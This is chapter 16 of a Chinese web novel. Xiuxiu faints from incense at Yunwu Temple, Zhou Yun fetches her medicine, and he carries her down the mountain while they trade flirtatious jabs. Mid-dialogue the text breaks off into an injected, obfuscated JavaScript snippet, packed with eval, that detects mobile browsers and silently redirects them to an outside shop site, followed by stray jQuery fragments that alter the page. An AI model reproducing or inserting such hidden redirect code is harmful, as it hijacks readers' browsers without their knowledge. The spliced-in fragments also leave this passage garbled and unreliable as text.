16. 第 16 章

作品:《生明月

    云雾山在一望无际的皇京城西拔地而起,山上草木葱茏,每逢春秋,奔往城西的马车络绎不绝,欣赏山色固然是一大乐事,可游人更是为了山顶上的一座小寺而来。


    这寺名为云雾寺,除去严寒酷暑,终年烟火袅袅。传言在一千二百年前,一药师在上山采药,途中遇雨,慌乱中躲进一旁山洞,却恰巧遇见正在修炼的山神。


    此时山神还是一只小老虎,正修炼幻化成人形,却不料走火入魔,受了重伤昏迷不醒,药师只当它是这山间的生灵,于心不忍便为山神医治。


    后山神苏醒,为报答药师善心,便大手一挥在山顶落了这座寺,专为往来路人休憩留宿。


    又过了五百年,彼时正在四方云游的了因大师来到此地,便居留在寺,修缮、扩建、通路,慢慢才有了这座云雾寺。如今,了因大师的舍利仍在云雾寺中。


    寺中三进殿,从前至后,分别是天王殿,大雄宝殿,玉王殿。皇京无人不知,大师的舍利塔前的玉王殿,殿内供奉着哪路的神仙娘娘,格外灵验。


    寺中一老僧,名为长岄,尤擅医术,周允幼时体弱,周四海带他来寺中寻医问诊早已是家长便饭。春节那日,来兴也是被此人所救。


    如今已是二月下旬,寒冬的顽雪无影无踪,璇波河冰层渐薄,微风悠悠拂面,天色都多了几分柔和。


    这日,钊虹念着不足两月后李聿便要参加院试,加之自己生辰刚过,便携秀秀一同前往云雾寺烧香礼佛。娘俩带着几个丫鬟,便乘着轿子往城西而去。


    山不高,可上山仅一条石阶路通行,轿子马匹只得在山脚停下,二人下车,不紧不慢往上爬。


    云雾寺名不虚传,上山途中已是人影憧憧。塔下殿前,烟霞缭绕,善男信女,闭目合十。


    秀秀一抬头,月王殿里供奉的神仙娘娘正眉清目秀朝她笑。


    她浑身一颤,面露讶异,恍然想起王家沟的那座娘娘庙。


    古往今来,没人知道是谁修建的这座庙,也没人知道庙里的娘娘到底叫什么,村里百姓都叫她“月娘娘”,这座庙经年失修,可庙里的娘娘塑像却十分完好,谁家小孩病了、吓着了,谁家妇女难产了、滑胎了,来找玉娘娘一说,不出两日准好。


    可还有个稀奇事儿,谁家堕了丫头,谁家卖了闺女,谁家打了女子、媳妇,不出两日准倒大霉。村里都说是月娘娘护着,心思不正的都得遭报应。


    秀秀不懂这些因果仙法,只知道月娘娘是个好神仙。


    她记不清是多大了,在小时候的某日,她在庙里发现娘娘座下有根狗尾巴草,这根草也是石泥塑的,就在娘娘脚边,很不起眼。她觉得稀奇好玩,不自觉伸手去摸,碰到香灰才想起来,村里老人都说,菩萨神仙的塑身碰不得,那是大不敬。吓得她当即屏住了气,朝娘娘拜了又拜,头也不回地跑回了家。


    晚上便发了病,全身滚烫,稀里糊涂哭着说“神仙无情无义”,药也不肯喝,村里出马仙说这是叫脏东西上了身,后来是她娘晚上偷着给她灌药汤,这才退了烧。


    但病好了以后,她也总是担惊受怕,玉娘娘是不是还要找上门来?想着想着,就长到了十五,爹把她嫁给胡家,她想,月娘娘给的报应终于来了。可后来,她又逃了出来,直到十七岁,她知道了,月娘娘才没那么小气,这是在帮她呢。


    本以为,来到皇京就再也见不着这月娘娘了,可如今,云雾寺的神仙娘娘,竟跟月娘娘长得一个模样!


    秀秀一时愣了神,钊虹在一旁唤她名字,叫了好几声,这才把人叫过来。


    “一人三柱香,亲自去长明烛点上,这才心诚。”钊虹递过来三支线香。


    秀秀接过来,最后懵懵懂懂地去上了香,刚把香插进香炉,“哐当”一声,她在丫鬟的惊呼中晕了过去。


    再睁眼,她正躺在一间朴素清净的房里,浑身酸软,头昏脑涨,钊虹正在桌前坐着,黄鹂、翠鸾也都在。


    随后,她见钊虹快步上前走来,问道:“可还难受?”


    她躺在床上微弱地眨了眨眼,想摇摇头,发现稍微一动,便又晕起来。


    钊虹解释道:“这回多亏了寺里的长岄长老,你可知道自己闻臭头晕?”


    秀秀眉头一动,疑惑不已。


    钊虹:“闻了信香浓烈之气,便会头晕目眩,胸闷气短,严重了还要反胃呕吐。长老说这叫香敏症,脾肺虚弱,不耐香燥。”


    想来是方才在香炉前靠得烟雾太近,这才一时天旋地转晕了过去。秀秀闻见此时房中仍有一阵淡淡的香云之气,她轻声问:“这是在寺里?什么时辰了?”


    钊虹一一作答:“正是寺内寮房,你已昏睡大半个时辰,现下未时,刚过正午,日头还早呢。”


    秀秀答:“我既已醒,又上完了香,咱们回去便是。”


    说罢就要起身,被钊虹紧紧摁下:“你且老实躺好,心里挂念着多少都先抛出去,再怎么紧要的事儿也得排在身子后头不是?先吃完药,歇息歇息再说其它。”


    秀秀正欲开口,门外响起红莺的声音:“夫人,周公子已经把药送来了。”


    周公子......


    秀秀尚且未来得及疑惑,钊虹朝旁边使了个眼色,翠鸾开门把药端至床前,伺候秀秀吃药。


    数十颗极小的黑褐色药丸,分次随水服用。


    钊虹开口,语气里尽是满意之色:“说来也是巧,今儿个所幸不然正在寺里,否则还真不知如何是好。这孩子也是个靠得住的,长岄长老问了诊,他二话没说便下山拿药去了,这才多久,就把药给送到。”说到此处,她笑道,“秀秀,这声哥哥你可真是没叫错!”


    话音刚落,秀秀嘴里喷出一口水,咳得止不下来,翠鸾连忙上前轻拍她后背。


    “好端端地,怎还呛着了?”钊虹掏出帕子给她。


    秀秀又咳了一会儿,朝翠鸾摆摆手,勉强开口道:“喝得急了,没顺过气儿来。”


    窗外,周允正人高马大站在墙角,悄然挑起眉毛。适逢午后,阳光明媚,他从山下一路奔上来,浑身仍散着热气,脸上也带着几分往日少见的和煦。


    他这日过来,是为了他的“纸人替班”,每月十五,他都得来寺里给他的童子替班们上香。


    他对此烦躁不堪,也不甚在意,但他的命不全是自己的,是他祖母、爹娘、妹妹给他偷来的。


    往日,他定是上完香便速速离去,可今日,谁料又遇见她?


    人倒在他面前,总不能见死不救,四下都是女人,抱她进房也实在是无奈之举。来兴生病,尚且要背他上山来,何况,何况,何况这是…寅生的姐姐,也是他…妹妹!


    至于下山取药…


    仆夫驾车回城,定是要比他骑马慢得多。


    救人一命胜造七级浮屠,在云雾寺做了这等好事,就当是他积德行善罢。


    除此以外,再无其它。他周允对天对地对神佛发誓。


    周允在窗边墙角凝立不动,琢磨一番缘由,又听见窗内安静下来,这才转身走开。


    待秀秀吃完药又歇了半晌,香客稀疏离去,钊虹一行人预备回府。


    几人又犯了难,一路石阶下行,秀秀走两步便又觉头晕气闷,咬牙被两个丫鬟搀着,在路边石凳上坐下。


    钊虹在一旁隐隐担忧:“在寺里多住几日,把身子养好再回去也不迟。”


    秀秀坐在石凳上道:“无妨,山不高,这就到了。”


    钊虹询问:“叫驾车仆夫背你下去?”


    秀秀犹豫之间,身后一阵清冷低沉的男音响起:“婶母。”


    钊虹一惊:“不然,竟这般巧,还以为你早早下山去了。今日之事,多亏了你跑一趟。”


    周允轻描淡写:“举手之劳,不足挂齿。方才与长老多下了两盘棋,便迟了些。”


    钊虹眼睛骤然亮起:“这可不就是现成的好帮手?不然,秀秀现下身体不适,你背她下山可好?”


    周允心中一滞。


    见秀秀默不作声,面带踌躇之意,钊虹只当她碍于礼数规矩,又对她小声相劝:“那些三从四德、纲常名教,可都是些作茧自缚的东西,四下无旁人,管他是公子还是仆人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16632999|188039||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,先下山才是正事。”


    秀秀抿了抿唇,她哪里是因为劳什子的礼教,她是因为这个人啊!


    无奈之中,她朝钊虹点了点头。


    太阳西偏,路上安静无言,钊虹不紧不慢打头阵,小厮开路,丫鬟紧跟其后。


    队伍后头,秀秀正趴在周允后背上小声嘟囔:“你究竟要怎的?”


    周允气定神闲,呼吸均匀,颠了颠背上的人,引得秀秀牢牢抓住他肩头衣裳。


    背上温软不容忽视,他闻见一阵清浅香气在周身萦绕,轻咳一声,悠悠道:“给你抓药,背你下山,你说我要作甚么?”


    秀秀压低嗓音,又贴近他耳边几分:“我看你就是成心要看我笑话的!”


    周允脚下稳稳下了几个台阶,待耳畔那股湿润气息散去,他手上动了动,马面裙的料子的触感硬//挺,他寻着一个裙褶,轻轻搓起来,语气闲闲:“任你怎么想,在你眼里,我早就同那歹人毫无二致了吧!”


    秀秀针锋相对:“算你知道自己的斤两。”


    那股幽幽香气再次飘来,周允喉结滚动,轻声喝道:“要是歹人,你如今还能这般安好?真是吃饱便骂起厨子来了!”


    他话里有话,秀秀冷哼,一时想起那日在码头,她腆着脸叫他不然哥哥,忽地好不尴尬,脸上红一阵白一阵,于是便不再言语,瘪起了嘴。


    背上没了声音,周允微微侧头,问道:“又晕了?”


    秀秀嗔道:“果真不盼我好!你切莫再与我说一句话!”


    周允冷笑:“你这般狼心狗肺的,我倒是头一回见。”


    秀秀对他的话充耳不闻,兀自瞧起斜前方的太阳,万道金光倾撒,天边一片橙黄璀璨。余光中,钊虹回过头来睇一眼,接着又继续看顾脚下的路。


    傍晚空中仍泛着凉意,可她一路过来竟丝毫不觉。身下脊背温厚踏实,她垂眼一看,周允额尖已经冒汗。


    这些日子,她是又重了些,以前手腕都是硌手的骨头,每回端笼屉,婆子总说怕她骨头折了,如今腕上都能捏起肉了。


    她开口,声音细不可闻:“喂。”


    周允猝不及防,呼吸略重:“嗯?”


    她咬了咬唇,问:“你...要不要揩揩汗?”


    周允心中一跳,喃喃道:“我要是哪吒三太子,有那三头六臂,是定要揩汗的。”


    秀秀慢吞吞从怀里掏出帕子,不知该如何是好,却听见他说:“收起来吧,帕子岂能随便给外男用?你不是最看重这些个礼数?”


    她顿时蹙起眉来,往前伸出纤纤素手:“三文钱,卖给你,你买我卖,合规合矩。”


    周允闻言瞠然一怔,盯着那一缕素白帕子看。


    因着下山颠簸,帕子在空中飘飘然,一荡一漾,莫名扫得人心里头都泛起痒。


    他转而闲闲问道:“背人下山,该卖多少银子?”


    秀秀一时语塞,索性拿着帕子在他额上胡撸一把,狠狠道:“还说你不是成心的?”说罢又把帕子塞进交领衣襟里,“沾了登徒子臭汗的帕子,不要也罢!”


    周允连扇几下被她搞乱的睫毛,不否也不拒,安稳把人送至山下,随行在一侧,临近城中,才又飒沓离去。


    待在前院用过饭,秀秀又回到了锦心园。翠鸾红莺正备着沐浴的水,却总是偷着笑。


    秀秀正在镜前通发,笑道:“两个好姐姐,什么喜事这般高兴?说出来也让我乐呵乐呵。”


    两个人垂着头憋笑,你推我我推你,最后翠鸾快嘴道一句:“姑娘和周公子,真是般配呢!”


    秀秀当即羞红了脸,却仍坐在凳上,反而扶着脑袋蹙起了眉。


    二人急忙上前:“可是又头晕了?”


    秀秀眼疾手快抓住二人衣裳,笑着给二人挠痒痒:“叫你们胡说!”


    一时间,少女闺房里笑声朗朗,丝丝缕缕仿佛传到周府,周允靠在床头,拎起一条素白罗帕,又握进手里,布料舒适柔软,轻薄透气,好似掌心的茧子都抹平。揉捏至手帕温热,恍然间一阵暗香浮动,他只当又入了梦境。